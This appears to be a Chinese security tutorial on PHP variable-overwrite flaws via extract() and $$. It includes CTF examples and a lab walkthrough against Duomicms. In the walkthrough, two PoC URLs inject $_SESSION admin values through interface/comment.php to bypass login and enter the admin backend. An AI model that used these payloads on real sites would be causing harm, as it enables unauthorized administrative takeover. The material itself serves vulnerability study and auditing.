变量覆盖漏洞
变量覆盖
变量覆盖就是字面意思。。不解释了
函数:
- extract()
将数组中的值导入当前符号集


这里将一道简单的 CTF 题目(稍有改编)
<?php
$content = 'X47US3C';
extract($_GET);
if(isset($gift)) {
if($gift == $content) {
echo 'flag is '.$flag;
}
} else {
echo 'how to get flag';
}
如果上面第三行写的是 $gift = $_GET['gift'] ,应该容易理解,但是它使用了 extract 函数,要了解这点,我们需要深入了解 $_GET
这种以 $_ 开头的变量都叫做超全局变量,均为数组,我们可以用 var_dump 查看一下
<?php
echo var_dump($_REQUEST) . '<br>';
echo var_dump($_GET) . '<br>';
echo var_dump($_POST) . '<br>';
echo var_dump($_COOKIE);

所以可以利用 extract 函数将这些数组导入当前符号集,也就是说直接使用他的键值对作为当前的变量
对于那道CTF,我们只需要传入?$gift = X47US3C,即可,不需要考虑传给了谁,因为它会被自动导入符号集
- $$
这个举个例子就能看懂:
<?php
$a = 'a';
$b = 'b';
$c = 'c';
echo "\$a = ".$a.'<br>';
echo "\$\$a = ".$$a.'<br>';
echo "\$\$\$a = ".$$$a;

同样引入一道 CTF
<?php
$a = 1;
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$$_key = addslashes($_value);
}
}
echo $a;
foreach(array('_COOKIE', '_POST', '_GET') as $_request)数组遍历,相当于将每个键值对拿出来赋给$_request数组
foreach($$_request as $_key => $_value)键值分离,将这个数组的键和值分别拿出来赋给变量$key和$value
$$_key = addslashes($_value); 调用魔术引号的函数
SESSION
Cookie => 一段随机值,代表身份(与 Session 对应)
Session => 校验 Cookie (看作一个数据库,与 Cookie 有对应关系)
Token => 只校验请求是否有用户本人发起(防止CSRF,与权限无关)
有时候 XSS 打到了 Cookie ,但是 Session 被注销掉,就不存在对应关系
靶场
Duomicms
POC:interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin
打开源码,搜索\$\$(开启正则)

小技巧:像这种 admin 目录下的文件一般都需要权限验证,可以先不审
找到一个可利用的点,但它前面代码存在 exit (die也要分析),先分析这段代码
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}
foreach($_REQUEST as $_k=>$_v)键值分离(GET、POST)
strlen($_k)>0键长度大于 0
!isset($_COOKIE[$_k])当存在同名参数时会返回 false
所以只要 GET 传参的同时 Cookie 中也有此键就不会进去,就不存在退出的情况
现在可以分析刚才那段存在利用点的代码
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
要使用 Session ,就要存在 session_start() ,在全局搜索包含这个文件的且开启了 Session 的


找到一个满足条件的文件,那么可以在这里随意创建 Session
在本地搭一个相同的 CMS,然后在 index.php 中写入 die(var_dump($_SESSION)) 以获取管理员(CMS 管理员的Session时相同的)

现在我们复刻一下 Session 就好
poc:interface/comment.php?_SESSION[duomi_ckstr]=dqmw&_SESSION[duomi_ckstr_last]=&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin
注意点:对于加不加引号的问题,原Session是["duomi_ckstr"],这种就可以不加,千万不能加单引号
访问admin页面

传入poc 再访问

成功进入后台


浙公网安备 33010602011771号